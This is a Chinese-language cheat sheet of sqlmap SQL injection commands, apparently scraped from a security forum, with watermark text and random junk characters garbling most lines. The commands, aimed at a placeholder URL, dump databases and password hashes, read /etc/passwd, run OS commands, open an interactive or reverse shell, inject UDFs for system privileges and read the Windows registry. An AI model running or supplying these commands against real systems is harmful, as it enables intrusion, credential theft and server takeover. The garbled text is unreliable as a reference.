sqlmap使用筆記

標籤：

sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --current-user #擷取目前使用者名稱
- 專註網路安全- p, Z( Q% {/ o, J% |
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql" --current-db  #擷取當前資料庫名稱
- 專註網路安全! J+ M9 \: U( V* o& g8 W
sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql"--tables  -D "db_name" #列表名www.t00ls.net5 m: I) k+ Z. G7 b8 x

sqlmap -u "http://url/news?id=1" --level=3 --smart  --dbms "Mysql" --columns -T "tablename" users-D "db_name" -v 0 #欄欄位
www.t00ls.net. i9 ], n: y; t5 K$ R
sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql"  --dump  -C "column_name"  -T "table_name" -D "db_name" -v 0   #擷取欄位內容 - 專註網路安全9 T& F$ ?7 P) C/ s+ f3 Q
- 低調求發展, f8 s/ i4 ~# r9 j% J

www.t00ls.net8 T2 ?* h. N! v! y2 [: F
******************資訊擷取******************

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users  #列資料庫使用者T00ls.Net - 低調求發展 - 技術無止境 - Focus On Network Security, u$ O3 A- ^( m8 k‘ B# K
- 專註網路安全. A5 M: O: d7 \
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列資料庫www.t00ls.net4 D1 g& l‘ R- h: B4 t8 b

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #資料庫使用者密碼www.t00ls.net0 E! H. r" j1 u# D; S

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root  -v 0 #列出指定使用者資料庫密碼 - 專註網路安全$ {- j( ~) s9 D3 J0 s

sqlmap -u "http://url/news?id=1"  --dbms "Mysql"  --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定欄位，列出20條

T00ls.Net - 低調求發展 - 技術無止境 - Focus On Network Security5 ?% D9 T# b( q5 ]/ ~4 w
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有資料庫所有表9 e5 o8 q8 `6 {  q
T00LS& |  x3 {9 Z* A! \
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看許可權
www.t00ls.net+ \2 D, ^2 n2 T, ^, ~9 i
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定使用者權限& x( q‘ H5 D! i6 T0 Y: h+ ^6 z
- 低調求發展; B/ @/ Y0 O6 m$ S4 K. a- l
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是資料庫管理員 - 專註網路安全+ G! P& v2 E9 X; V. e: T0 L
: \& |* u; Q4 l
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚舉資料庫使用者角色www.t00ls.net‘ ^+ W% o( o3 a: \: S/ V2 T- O. I8 S
www.t00ls.net. l‘ W4 n" P5 o# M, p
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #匯入使用者自訂函數（擷取系統許可權！）T00LS+ F8 q$ f0 q; C1 ?: w/ p

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出當前庫所有表 - 低調求發展7 R‘ x4 L6 B0 @‘ i
- 低調求發展, a; S& w3 E6 \7 \
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查詢表記錄
www.t00ls.net; Y! L% g0 U& g8 p4 v
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #擷取banner資訊T00LS9 f+ W4 c& ^‘ x1 s# G8 A* P8 l
www.t00ls.net( i" A( h- E9 `- \& H
sqlmap -u "http://url/news?id=1" --data "id=3"  #post注入
- 專註網路安全* U8 r7 m& M" ^, P* V1 Z
sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指紋判別資料庫類型
- 低調求發展- V7 s! J! |5 W* o* q( f, l  {
sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入T00ls.Net - 低調求發展 - 技術無止境 - Focus On Network Security  l% K; Q% s, K! b/ a  t. M

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定關鍵詞 - 專註網路安全" c‘ ^( I# F4 }: J! D

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #執行指定sql命令" x/ B2 H9 L* f; {  g
T00LS, Z0 J‘ y0 C: q: i+ X  Q4 r0 w
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file /etc/passwdwww.t00ls.net0 ~# g) x# P& \4 l6 P

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #執行系統命令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系統互動shell - 低調求發展5 _) h5 _( T4 d3 B0 C‘ m
T00ls.Net - 低調求發展 - 技術無止境 - Focus On Network Security5 Y& d; C6 v% Q0 \) q
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反彈shell

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #讀取win系統註冊表 - 專註網路安全  |" _; q  t; A* Z7 T& f* k$ E; t
- 低調求發展: d6 K4 V8 r& R+ Y
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs-o "sqlmap.log" #儲存進度+ T$ V4 ~: u: a+ b
www.t00ls.net( y9 `0 j2 Z; ?) w" _& E
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs  -o "sqlmap.log" --resume  #恢複已儲存進度& E) I‘ J- v  ~! R+ h

sqlmap使用筆記